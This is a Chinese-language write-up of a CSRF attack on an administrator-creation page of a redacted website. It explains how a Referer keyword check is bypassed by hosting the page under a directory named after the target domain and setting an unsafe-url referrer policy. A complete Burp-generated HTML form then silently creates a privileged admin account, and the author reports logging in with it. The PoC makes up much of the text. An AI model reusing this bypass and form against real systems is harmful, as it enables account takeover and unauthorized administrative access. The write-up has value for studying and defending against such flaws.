在一个添加管理员的界面引起了我的注意
尝试添加一个管理员,如下添加成功,我们可以观察其请求包中并未存在token字段,可能存在csrf漏洞。但是存在“Referer”和“Origin”字段
我们把referer字段删了只剩origin,查看是否可以请求成功,发现可以请求成功
两个值都删了,请求失败
接着尝试将origin或referer值清空或者输入错误的origin和referer值,发现都会请求失败
即,origin字段和referer字段必须有一个正确。且值中必须存在“https域名”这个关键词。由于后面构造csrf poc时,referer值在表单中是可控的,而origin值不可控。所以这里必须针对referer值进行绕过
到这里我们得出了结论,服务器判断了referer值中是否存在“https域名”关键词。所以我们可以在网站新建一个名为“https加网站域名”的目录,csrf poc 1.html放在这个页面下,即可绕过
burp生成csrf poc,将如下删除
然后添加如下,敲黑板,这里是关键!!意思为Referer值包含完整的url路径,否则跳转时只会显示referer:127.0.01 还是绕过不了关键词的验证。
<meta name="referrer" content="unsafe-url">
<html><!-- CSRF PoC - generated by Burp Suite Professional --><body><form action="https://xxx.xxx.cn/CenterOBT/privilege/saveAdminUser.action" method="POST"><meta name="referrer" content="unsafe-url"><input type="hidden" name="obtUserVO.userVO.userName" value="test123" /><input type="hidden" name="obtUserVO.userVO.password" value="61fe87b6fa0190d415626f0f6e457eef" /><input type="hidden" name="obtUserVO.effective" value="A" /><input type="hidden" name="isPwdLevel" value="1" /><input type="hidden" name="functionIds" value="10000" /><input type="hidden" name="functionIds" value="10001" /><input type="hidden" name="functionIds" value="10002" /><input type="hidden" name="functionIds" value="10003" /><input type="hidden" name="functionIds" value="10004" /><input type="hidden" name="functionIds" value="10005" /><input type="hidden" name="functionIds" value="10009" /><input type="hidden" name="functionIds" value="20000" /><input type="hidden" name="functionIds" value="20001" /><input type="hidden" name="functionIds" value="20002" /><input type="hidden" name="functionIds" value="20003" /><input type="hidden" name="functionIds" value="20004" /><input type="hidden" name="functionIds" value="20005" /><input type="hidden" name="functionIds" value="20006" /><input type="hidden" name="functionIds" value="30000" /><input type="hidden" name="functionIds" value="30002" /><input type="hidden" name="functionIds" value="300020" /><input type="hidden" name="functionIds" value="300021" /><input type="hidden" name="functionIds" value="300022" /><input type="hidden" name="functionIds" value="30003" /><input type="hidden" name="functionIds" value="300030" /><input type="hidden" name="functionIds" value="300031" /><input type="hidden" name="functionIds" value="300032" /><input type="hidden" name="functionIds" value="30005" /><input type="hidden" name="functionIds" value="300050" /><input type="hidden" name="functionIds" value="300051" /><input type="hidden" name="functionIds" value="30006" /><input type="hidden" name="functionIds" value="300060" /><input type="hidden" name="functionIds" value="300061" /><input type="submit" value="Submit request" /></form></body>
</html>
然后点击
如下,成功添加管理员,
使用添加的账号成功进行了登录